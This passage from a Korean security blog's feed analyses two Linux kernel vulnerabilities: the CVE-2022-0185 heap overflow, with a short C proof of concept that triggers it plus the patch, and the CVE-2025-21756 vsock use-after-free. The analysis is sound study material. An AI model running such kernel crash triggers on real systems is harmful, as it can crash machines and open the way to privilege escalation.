    fsconfig(fd, fsconfig_set_string, &quot;context&quot;, &quot;unconfined_u:...&quot;, 0);
    fsconfig(fd, fsconfig_cmd_create, NULL, NULL, 0);
    mfd = fsmount(fd, FSMOUNT_CLOEXEC, MS_NOEXEC);
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;RCA&lt;/h1&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/cve-2022-0185&quot;&amp;gt;CVE-2022-0185&amp;lt;/a&amp;gt; Description을 구경해봅시다. 다음과 같습니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2022-0185/cve-description.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;앞서 알아본 파일 시스템 컨텍스트를 다루는 함수 중 &lt;code&gt;legacy_parse_param&lt;/code&gt;에서 길이 검증에서 힙 오버플로우가 발생한다고 하는군요!&lt;/p&gt;
&lt;p&gt;&lt;code&gt;legacy_parse_parm&lt;/code&gt;은 앞서 살펴본 &lt;code&gt;fsconfig&lt;/code&gt; 함수에서 문자열 파라미터 값을 파싱하는 과정에서 사용됩니다. 또한 이 옵션 문자열은 누적될 수 있습니다.&lt;/p&gt;
&lt;p&gt;이때 이 누적된 옵션 길이를 검증하는 과정에서 &lt;code&gt;Integer Underflow(Wrap-around)&lt;/code&gt;가 발생할 수 있고, 결과적으로 이로인해 힙 오버플로우가 발생할 수 있는 환경이 됩니다. 코드를 확인해볼까요?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * Add a parameter to a legacy config.  We build up a comma-separated list of
 * options.
 */
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc-&amp;gt;fs_private;
	unsigned int size = ctx-&amp;gt;data_size;
	size_t len = 0;
...
	if (len &amp;gt; PAGE_SIZE - 2 - size)
		return invalf(fc, &quot;VFS: Legacy: Cumulative options too large&quot;);
...
	ctx-&amp;gt;legacy_data[size++] = &apos;,&apos;;
	len = strlen(param-&amp;gt;key);
	memcpy(ctx-&amp;gt;legacy_data + size, param-&amp;gt;key, len);
	size += len;
	if (param-&amp;gt;type == fs_value_is_string) {
		ctx-&amp;gt;legacy_data[size++] = &apos;=&apos;;
		memcpy(ctx-&amp;gt;legacy_data + size, param-&amp;gt;string, param-&amp;gt;size);
		size += param-&amp;gt;size;
	}
	ctx-&amp;gt;legacy_data[size] = &apos;\0&apos;;
	ctx-&amp;gt;data_size = size;
	ctx-&amp;gt;param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;중간에 다음과 같은 코드가 있는 모습을 볼 수 있습니다. 이는 누적되고 있는 문자열 옵션의 크기를 계산해서 페이지 길이를 넘어갈 수 없게 하는 코드라고 볼 수 있습니다. &lt;code&gt;2 + size&lt;/code&gt;가 &lt;code&gt;PAGE_SIZE&lt;/code&gt;를 넘어가면 음수가 발생하여 &lt;code&gt;len&lt;/code&gt;이 더 커지는 상황이 발생하겠죠? 혹은, &lt;code&gt;PAGE_SIZE - (2 + size)&lt;/code&gt;가 &lt;code&gt;len&lt;/code&gt;보다 작을 경우 &lt;code&gt;len&lt;/code&gt;을 추가할 길이를 확보하지 못하니 누적된 옵션 길이에 대한 검증이라고 생각할 수 있겠죠?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	if (len &amp;gt; PAGE_SIZE - 2 - size)
		return invalf(fc, &quot;VFS: Legacy: Cumulative options too large&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;하지만 이런 가정은 계산 결과가 음수가 나올 수 없기 때문에 깨지게됩니다. 즉, 요놈들 Unsigned라서 음수가 될 수 없어 무지막지하게 커지게되버립니다. 그러면 자연스럽게 해당 검증문을 피해가고 경계를 넘어서 데이터를 쓸 수 있게됩니다. 간단하죠?&lt;/p&gt;
&lt;p&gt;이러한 &lt;code&gt;legacy_parse_param&lt;/code&gt; 문자열 옵션을 세팅하는 과정에서 트리거 된다 했습니다. 그리고 추가적으로 특정 조건에서만 이 함수를 트리거 시킬 수 있는데, 이에 대한 배경은 앞서 설명드린 &lt;code&gt;file_system_type&lt;/code&gt; 구조체와 관련있습니다. 즉, 파일 시스템 타입과 해당 함수에 연관이 있습니다. 이와 관련된 코드를 살펴봅시다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;legacy_parse_param&lt;/code&gt;은 파일 컨텍스트와 관련된 &amp;lt;a href=&quot;https://elixir.bootlin.com/linux/v5.2/source/fs/fs_context.c#L688&quot;&amp;gt;ops 함수 테이블&amp;lt;/a&amp;gt;에 담겨 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const struct fs_context_operations legacy_fs_context_ops = {
	.free			= legacy_fs_context_free,
	.dup			= legacy_fs_context_dup,
	.parse_param		= legacy_parse_param,
	.parse_monolithic	= legacy_parse_monolithic,
	.get_tree		= legacy_get_tree,
	.reconfigure		= legacy_reconfigure,
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;앞서 알아본 &lt;code&gt;fs_context&lt;/code&gt;는 파일 시스템에 따라 이 테이블을 설정하게끔 되어있습니다. 요렇게 멤버로 갖고있죠. 여기서 테이블을 설정한다는 말은 테이블을 고른다고 말 안해도 아시..겠죠?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct fs_context {
	const struct fs_context_operations *ops;
	...
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;어떤 테이블이 사용될지 결정되는 시점은 &lt;code&gt;fs_context&lt;/code&gt; 즉, 파일 컨텍스트가 할당되는 시점으로 다음 함수(&amp;lt;a href=&quot;https://elixir.bootlin.com/linux/v5.2/source/fs/fs_context.c#L251&quot;&amp;gt;&lt;code&gt;alloc_fs_context&lt;/code&gt;&amp;lt;/a&amp;gt;)에서 설정이 진행됩니다!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * alloc_fs_context - Create a filesystem context.
 * @fs_type: The filesystem type.
 * @reference: The dentry from which this one derives (or NULL)
 * @sb_flags: Filesystem/superblock flags (SB_*)
 * @sb_flags_mask: Applicable members of @sb_flags
 * @purpose: The purpose that this configuration shall be used for.
 *
 * Open a filesystem and create a mount context.  The mount context is
 * initialised with the supplied flags and, if a submount/automount from
 * another superblock (referred to by @reference) is supplied, may have
 * parameters such as namespaces copied across from that superblock.
 */
static struct fs_context *alloc_fs_context(struct file_system_type *fs_type,
				      struct dentry *reference,
				      unsigned int sb_flags,
				      unsigned int sb_flags_mask,
				      enum fs_context_purpose purpose)
{
	int (*init_fs_context)(struct fs_context *);
	struct fs_context *fc;
	int ret = -ENOMEM;

	fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL);
	if (!fc)
		return ERR_PTR(-ENOMEM);
...
	/* TODO: Make all filesystems support this unconditionally */
	init_fs_context = fc-&amp;gt;fs_type-&amp;gt;init_fs_context;
	if (!init_fs_context)
		init_fs_context = legacy_init_fs_context;

	ret = init_fs_context(fc);
...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;코드에서도 볼 수 있듯, &lt;code&gt;fc-&amp;gt;fs_type-&amp;gt;init_fs_contex&lt;/code&gt;가 0일 경우  &lt;code&gt;init_fs_context&lt;/code&gt; 함수 포인터는 &lt;code&gt;legacy_init_fs_context&lt;/code&gt; 함수를 가리키게 되고! 이를 호출하게되죠! &amp;lt;a href=&quot;https://elixir.bootlin.com/linux/v5.2/source/fs/fs_context.c#L701&quot;&amp;gt;해당 함수&amp;lt;/a&amp;gt;는 요렇게 생겼습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * Initialise a legacy context for a filesystem that doesn&apos;t support
 * fs_context.
 */
static int legacy_init_fs_context(struct fs_context *fc)
{
	fc-&amp;gt;fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
	if (!fc-&amp;gt;fs_private)
		return -ENOMEM;
	fc-&amp;gt;ops = &amp;amp;legacy_fs_context_ops;
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;레거시 파일 컨텍스트를 할당하고 ops 테이블로 &lt;code&gt;legacy_fs_context_ops&lt;/code&gt;를 설정해주고 있습니다. 따라서 문자열 파싱시에 &lt;code&gt;legacy_parse_param&lt;/code&gt;이 호출됩니다!&lt;/p&gt;
&lt;p&gt;앞서 살펴본 &lt;code&gt;ext4&lt;/code&gt;의 경우에도 해당 값을 초기화하지 않아서 0입니다! 따라서 &lt;code&gt;ext4&lt;/code&gt; 파일 시스템의 경우도 취약한 함수를 트리거 시킬 수 있습니다.&lt;/p&gt;
&lt;p&gt;그리고 이러한 &lt;code&gt;alloc_fs_context&lt;/code&gt; 함수는 &lt;code&gt;fsopen&lt;/code&gt;을 호출할 때 호출됩니다. 요렇게 말이죠.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    fd = fsopen(&quot;ext4&quot;, FSOPEN_CLOEXEC);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;요렇게 특정 파일 시스템으로 &lt;code&gt;fsopen&lt;/code&gt;을 통해 레거시 파일 시스템 컨텍스트를 만들고 문자열 옵션을 누적시키다보면 누적 옵션 길이 검증 실패로인해서 힙 오버플로우가 발생하게됩니다.&lt;/p&gt;
&lt;h1&gt;PoC&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;# define _GNU_SOURCE
# include &amp;lt;sys/syscall.h&amp;gt;
# include &amp;lt;stdio.h&amp;gt;
# include &amp;lt;stdlib.h&amp;gt;
# ifndef __NR_fsconfig
# define __NR_fsconfig 431
# endif
# ifndef __NR_fsopen
# define __NR_fsopen 430
# endif
# define FSCONFIG_SET_STRING 1
# define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
# define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main ( void ) {
  char * val = &quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot; ;
  int fd = 0 ;
  fd = fsopen( &quot;9p&quot; , 0 );
  if (fd &amp;lt; 0 ) {
    puts ( &quot;Opening&quot; );
    exit ( -1 );
  }
  for ( int i = 0 ; i &amp;lt; 5000 ; i++) {
    fsconfig(fd, FSCONFIG_SET_STRING, &quot;\x00&quot; , val, 0 );
  }
  return 0 ;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PoC를 보면 알 수 있듯, &lt;code&gt;9p&lt;/code&gt; 파일 시스템에 대한 파일 시스템 컨텍스트를 만들고 문자열 옵션을 계속해서 누적시키는 모습을 볼 수 있습니다. 여기서 알 수 있는 점은 &lt;code&gt;9p&lt;/code&gt; 파일 시스템 역시 커널 내부적으로 레거시 파일 시스템 컨텍스트를 사용한다는 점이겠죠?&lt;/p&gt;
&lt;h1&gt;Video&lt;/h1&gt;
&lt;p&gt;열심히 찍는중 🎥 😅&lt;/p&gt;
&lt;h1&gt;Patch&lt;/h1&gt;
&lt;p&gt;패치는 아주 엄청 간단합니다! 😃 앞서 뺄셈 연산을 사용하는 것에서 덧셈 연산을 통해 현재 누적될 옵션 값이 페이지 길이를 넘어가는지 확인하게 되었습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-	if (len &amp;gt; PAGE_SIZE - 2 - size)
+	if (size + len + 2 &amp;gt; PAGE_SIZE)
 		return invalf(fc, &quot;VFS: Legacy: Cumulative options too large&quot;);
 	if (strchr(param-&amp;gt;key, &apos;,&apos;) ||
 	    (param-&amp;gt;type == fs_value_is_string &amp;amp;&amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;심하게 더운 여름이네요! 다들 더위 조심하세요! 그럼 20000 👋👋👋&lt;/p&gt;
&lt;h1&gt;Mitigation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;해당 취약점에 대한 커널 업그레이드를 진행하세용 ^~^&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://www.willsroot.io/2022/01/cve-2022-0185.html&quot;&amp;gt;https://www.willsroot.io/2022/01/cve-2022-0185.html&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>CVE-2025-21756</title><link>https://aidenkim-com.github.io/posts/cve-2025-21756/</link><guid isPermaLink="true">https://aidenkim-com.github.io/posts/cve-2025-21756/</guid><description>Analysis of Linux Kernel Vsock Vulnerability</description><pubDate>Fri, 25 Jul 2025 04:30:00 GMT</pubDate><content:encoded>&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;TOOR 팀 활동을 하며 분석하게 된 리눅스의 소켓 패밀리 중 vsock과 관련된 리눅스 커널 UAF 취약점입니다!&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/toor.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;히히 ㅠㅠㅠㅠ 😭 요즘따라 무지막지하게 바쁘네요! 포스팅이 도대체 얼마나 밀려버린건지 전 글에도 작성해야할게 많이 남았네요! &amp;lt;del&amp;gt;살려주세요&amp;lt;/del&amp;gt;&lt;/p&gt;
&lt;p&gt;이번 포스팅에서 알아볼 취약점은? 뭘까요?&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2025-21756/todays_one_day.png&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;피 피캇츄&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2025-21756/slotmachine.png&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;짜잔 이번에 알아볼 친구는 리눅스 vsock과 관련된 커널 취약점이군요!&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2025-21756/whos_that_oneday.jpg&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;CVE-2022-21756은 &amp;lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3f43540166128951cc1be7ab1ce6b7f05c670d8b&quot;&amp;gt;2025년 1월경 커밋&amp;lt;/a&amp;gt;이 올라오고 &amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2025-21756&quot;&amp;gt;2025년 2월 26일에 취약점 정보가 공개된&amp;lt;/a&amp;gt; 리눅스 커널 UAF 취약점입니다! vsock에서 사용하는 참조 카운트가 잘못 카운트되어 의도치않게 객체가 해제되어버리는 간단한 취약점입니다.&lt;/p&gt;
&lt;p&gt;본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료들은 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://hoefler.dev/articles/vsock.html&quot;&amp;gt;https://hoefler.dev/articles/vsock.html&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3f43540166128951cc1be7ab1ce6b7f05c670d8b&quot;&amp;gt;https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3f43540166128951cc1be7ab1ce6b7f05c670d8b&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://github.com/hoefler02/CVE-2025-21756&quot;&amp;gt;https://github.com/hoefler02/CVE-2025-21756&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://docs.google.com/spreadsheets/d/e/2PACX-1vS1REdTA29OJftst8xN5B5x8iIUcxuK6bXdzF8G1UXCmRtoNsoQ9MbebdRdFnj6qZ0Yd7LwQfvYC2oF/pubhtml&quot;&amp;gt;https://docs.google.com/spreadsheets/d/e/2PACX-1vS1REdTA29OJftst8xN5B5x8iIUcxuK6bXdzF8G1UXCmRtoNsoQ9MbebdRdFnj6qZ0Yd7LwQfvYC2oF/pubhtml&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Vuln&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;CVE-ID : &amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2025-21756&quot;&amp;gt;CVE-2025-21756&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;CWE : &amp;lt;a href=&quot;https://cwe.mitre.org/data/definitions/416.html&quot;&amp;gt;CWE-416&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;자~ 이번 취약점도 다른 취약점들과 같이 이해하기 위해서 몇 가지 배경 지식이 필요합니다. 취약점에 대해서 알아들을 수 있을 정도로 간단하게 한번 알아보도록 합시다!&lt;/p&gt;
&lt;h2&gt;Vsock overview&lt;/h2&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2025-21756/vsock_diagram.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;vsock은 리눅스상에서 가상머신과 호스트간의 통신 편의를 위해 &amp;lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d021c344051af91f42c5ba9fdedc176740cbd238&quot;&amp;gt;2013년 2월에 VMWare사에서 추가한&amp;lt;/a&amp;gt; 리눅스 소켓 인터페이스 중 하나입니다. 다른 OS와 관련된 이야기는 생략하겠습니다. 해당 소켓 패밀리는 호스트의 네트워크 스택에 전혀 의존하지 않기 때문에 해당 패밀리의 소켓을 통해서 네트워크 설정이 필요없이 하이퍼바이저와 게스트간의 통신이 가능합니다.&lt;/p&gt;
&lt;h2&gt;Vsock in the source code&lt;/h2&gt;
&lt;h3&gt;struct vsock_sock&lt;/h3&gt;
&lt;p&gt;커널 영역에서는 vsock 소켓을 &amp;lt;a href=&quot;https://elixir.bootlin.com/linux/v6.12.10/source/include/net/af_vsock.h#L28&quot; target=&quot;_blank&quot;&amp;gt;다음과 같이&amp;lt;/a&amp;gt; 표현하고 있습니다. 이때, sock 구조체를 첫 번째 멤버로 가지고 있고, vsock_transport 함수 포인터 테이블을 가지고 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct vsock_sock {
	/* sk must be the first member. */
	struct sock sk;
    const struct vsock_transport *transport;
    ...
    /* Links for the global tables of bound and connected sockets. */
	struct list_head bound_table;
	struct list_head connected_table;
...
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;struct sock&lt;/h3&gt;
&lt;p&gt;socket 구조체가 유저 영역에서의 소켓에 대한 API라면, 즉, 인터페이스라면 sock 구조체는 커널 영역에서의 소켓에 대한 구현체며, 실질적인 네트워크 처리를 담당하는 구조체입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct sock {
...
#define sk_refcnt		__sk_common.skc_refcnt
...
};

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://elixir.bootlin.com/linux/v6.12.10/source/include/net/sock.h#L342&quot;&amp;gt;sock 구조체&amp;lt;/a&amp;gt;는 리눅스 커널의 동적 메모리 영역에 할당되며, 레퍼런스 카운트를 가지고 있습니다.&lt;/p&gt;
&lt;h3&gt;struct list_head vsock_bind_table&lt;/h3&gt;
&lt;p&gt;위에서 언급한 vsock_sock 구조체 내의 bound_table, connected_table 멤버는 &amp;lt;a href=&quot;https://elixir.bootlin.com/linux/v6.12.10/source/net/vmw_vsock/af_vsock.c#L182&quot;&amp;gt;전역에 존재하는 vsock 소켓의 상태를 관리하는 리스트&amp;lt;/a&amp;gt;에 삽입되기 위해 존재하는 멤버입니다. vsock 영역의 코드는 이를 통해서 특정 vsock 소켓의 현재 상태가 어떤지 관리를 하게됩니다. vsock 소켓은 소켓에 대한 연산(bind, connect 등)에 의해서 해당 리스트에 연결되거나 해제됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Each bound VSocket is stored in the bind hash table and each connected
 * VSocket is stored in the connected hash table.
 *
 * Unbound sockets are all put on the same list attached to the end of the hash
 * table (vsock_unbound_sockets).  Bound sockets are added to the hash table in
 * the bucket that their local address hashes to (vsock_bound_sockets(addr)
 * represents the list that addr hashes to).
 *
 * Specifically, we initialize the vsock_bind_table array to a size of
 * VSOCK_HASH_SIZE + 1 so that vsock_bind_table[0] through
 * vsock_bind_table[VSOCK_HASH_SIZE - 1] are for bound sockets and
 * vsock_bind_table[VSOCK_HASH_SIZE] is for unbound sockets.  The hash function
 * mods with VSOCK_HASH_SIZE to ensure this.
 */
#define MAX_PORT_RETRIES        24

#define VSOCK_HASH(addr)        ((addr)-&amp;gt;svm_port % VSOCK_HASH_SIZE)
#define vsock_bound_sockets(addr) (&amp;amp;vsock_bind_table[VSOCK_HASH(addr)])
#define vsock_unbound_sockets     (&amp;amp;vsock_bind_table[VSOCK_HASH_SIZE])

/* XXX This can probably be implemented in a better way. */
#define VSOCK_CONN_HASH(src, dst)				\
	(((src)-&amp;gt;svm_cid ^ (dst)-&amp;gt;svm_port) % VSOCK_HASH_SIZE)
#define vsock_connected_sockets(src, dst)		\
	(&amp;amp;vsock_connected_table[VSOCK_CONN_HASH(src, dst)])
#define vsock_connected_sockets_vsk(vsk)				\
	vsock_connected_sockets(&amp;amp;(vsk)-&amp;gt;remote_addr, &amp;amp;(vsk)-&amp;gt;local_addr)

struct list_head vsock_bind_table[VSOCK_HASH_SIZE + 1];
EXPORT_SYMBOL_GPL(vsock_bind_table);
struct list_head vsock_connected_table[VSOCK_HASH_SIZE];
EXPORT_SYMBOL_GPL(vsock_connected_table);
DEFINE_SPINLOCK(vsock_table_lock);
EXPORT_SYMBOL_GPL(vsock_table_lock);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이때 연결과 해당 리스트에 연결과 해제되는 과정에서 앞서 언급한 sock의 refcnt는 참조에의해 증가되거나 감소됩니다. 이와 관련된 루틴에서 취약점이 발생하게 되는데 이를 알아봅시다.&lt;/p&gt;
&lt;h1&gt;RCA&lt;/h1&gt;
&lt;p&gt;커밋 기록(&amp;lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3f43540166128951cc1be7ab1ce6b7f05c670d8b&quot; target=&quot;_blank&quot;&amp;gt;3f43540166128951cc1be7ab1ce6b7f05c670d8b&amp;lt;/a&amp;gt;)을 살펴보면 친절하게 설명이 되어있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Preserve sockets bindings; this includes both resulting from an explicit
bind() and those implicitly bound through autobind during connect().

Prevents socket unbinding during a transport reassignment, which fixes a
use-after-free:

    1. vsock_create() (refcnt=1) calls vsock_insert_unbound() (refcnt=2)
    2. transport-&amp;gt;release() calls vsock_remove_bound() without checking if
       sk was bound and moved to bound list (refcnt=1)
    3. vsock_bind() assumes sk is in unbound list and before
       __vsock_insert_bound(vsock_bound_sockets()) calls
       __vsock_remove_bound() which does:
           list_del_init(&amp;amp;vsk-&amp;gt;bound_table); // nop
           sock_put(&amp;amp;vsk-&amp;gt;sk);               // refcnt=0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;글에 따르면 vsock_create로 만들어진 소켓은 unbound 리스트로 들어가게됩니다. 이후 vsock_connect에 의해 호출되는 transport-&amp;gt;release()에서 sock의 bound 여부를 체크하지 않고 참조 카운트를 줄인다는 것을 알 수 있습니다.(이는 아래서 언급하겠습니다.), 이때 논리적 오류가 있는데, vsock_remove_bound가 unbound 리스트에 있는 vsock에 대해서 호출되고 있다는 점입니다. 따라서 참조 카운트는 의도치 않게 감소됩니다. 여기서 transport는 앞서 vsock_sock의 &amp;lt;a href=&quot;https://elixir.bootlin.com/linux/v6.12.10/source/include/net/af_vsock.h#L107&quot;&amp;gt;함수 포인터 테이블&amp;lt;/a&amp;gt;에 정의되어있는 함수입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct vsock_transport {
	struct module *module;

	/* Initialize/tear-down socket. */
	int (*init)(struct vsock_sock *, struct vsock_sock *);
	void (*destruct)(struct vsock_sock *);
	void (*release)(struct vsock_sock *);
    ...
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;소켓을 대상으로 connect 함수를 호출하게되면 다음과 같이 transport를 할당? 배정하는 과정을 갖게됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static int vsock_connect(struct socket *sock, struct sockaddr *addr,
			 int addr_len, int flags)
{
	...
		err = vsock_assign_transport(vsk, NULL);
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이때 vsock_assign_transport를 들여다보면 transport가 이미 존재할 경우 기존의 transport를 정리하는 모습을 볼 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int vsock_assign_transport(struct vsock_sock *vsk, struct vsock_sock *psk)
{
	const struct vsock_transport *new_transport;
	struct sock *sk = sk_vsock(vsk);
	unsigned int remote_cid = vsk-&amp;gt;remote_addr.svm_cid;
	__u8 remote_flags;
	int ret;

	...
	if (vsk-&amp;gt;transport) {
		if (vsk-&amp;gt;transport == new_transport)
			return 0;

		/* transport-&amp;gt;release() must be called with sock lock acquired.
		 * This path can only be taken during vsock_connect(), where we
		 * have already held the sock lock. In the other cases, this
		 * function is called on a new socket which is not assigned to
		 * any transport.
		 */
		vsk-&amp;gt;transport-&amp;gt;release(vsk);
		vsock_deassign_transport(vsk);

		/* transport&apos;s release() and destruct() can touch some socket
		 * state, since we are reassigning the socket to a new transport
		 * during vsock_connect(), let&apos;s reset these fields to have a
		 * clean state.
		 */
		sock_reset_flag(sk, SOCK_DONE);
		sk-&amp;gt;sk_state = TCP_CLOSE;
		vsk-&amp;gt;peer_shutdown = 0;
	}
	...
	vsk-&amp;gt;transport = new_transport;

	return 0;
}
EXPORT_SYMBOL_GPL(vsock_assign_transport);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이 과정에서 호출되는 release에서는 앞서 언급했듯, 해당 소켓이 바운드 되어있는지 안되어있는지에 대한 체크없이 refcnt를 감소 시켜버립니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://elixir.bootlin.com/linux/v6.12.10/source/net/vmw_vsock/af_vsock.c&quot; target=&quot;_blank&quot;&amp;gt;/net/vmw_vsock/af_vsock.c&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static void __vsock_release(struct sock *sk, int level)
{
...
		vsock_remove_sock(vsk);
...
}
...
void vsock_remove_sock(struct vsock_sock *vsk)
{
	vsock_remove_bound(vsk);
	vsock_remove_connected(vsk);
}
EXPORT_SYMBOL_GPL(vsock_remove_sock);
...
static void __vsock_remove_bound(struct vsock_sock *vsk)
{
	list_del_init(&amp;amp;vsk-&amp;gt;bound_table);
	sock_put(&amp;amp;vsk-&amp;gt;sk);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://elixir.bootlin.com/linux/v6.12.10/source/include/net/sock.h#L1891&quot; target=&quot;_blank&quot;&amp;gt;/include/net/sock.h#L1891&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Ungrab socket and destroy it, if it was the last reference. */
static inline void sock_put(struct sock *sk)
{
	if (refcount_dec_and_test(&amp;amp;sk-&amp;gt;sk_refcnt))
		sk_free(sk);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;unbound 리스트에 있음에도 불구하고, transport의 재할당과 관련된 루틴에서는 이를 체크하지 않기 때문에, 특정 상황에서 refcnt를 감소시킬 수 있습니다.&lt;/p&gt;
&lt;p&gt;이후 vsock_bind가 호출될 때, vsock_bind는 해당 vsock이 unbound 리스트에 있다 생각하고 있으니, 검증 루틴을 넘어갈 수 있게됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static int __vsock_bind(struct sock *sk, struct sockaddr_vm *addr)
{
	struct vsock_sock *vsk = vsock_sk(sk);
	int retval;

	/* First ensure this socket isn&apos;t already bound. */
	if (vsock_addr_bound(&amp;amp;vsk-&amp;gt;local_addr))
		return -EINVAL;
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;vsock_remove_bound를 호출하여 unbound 리스트에서 제거하게됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	/* Remove connection oriented sockets from the unbound list and add them
	 * to the hash table for easy lookup by its address.  The unbound list
	 * is simply an extra entry at the end of the hash table, a trick used
	 * by AF_UNIX.
	 */
	__vsock_remove_bound(vsk);
	__vsock_insert_bound(vsock_bound_sockets(&amp;amp;vsk-&amp;gt;local_addr), vsk);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;결과적으로 의도치 않은 객체 해제로 UAF가 발생하게 됩니다.&lt;/p&gt;
&lt;h1&gt;PoC&lt;/h1&gt;
&lt;p&gt;PoC는 &amp;lt;a href=&quot;https://hoefler.dev/articles/attachments/crash.c&quot;&amp;gt;여기&amp;lt;/a&amp;gt;에서 확인할 수 있습니다. hoefler님께서 커밋 로그에 기록된 PoC를 살짝 수정하여 동작이 가능한 바이너리로 컴파일할 수 있게 수정했다합니다. 하하&lt;/p&gt;
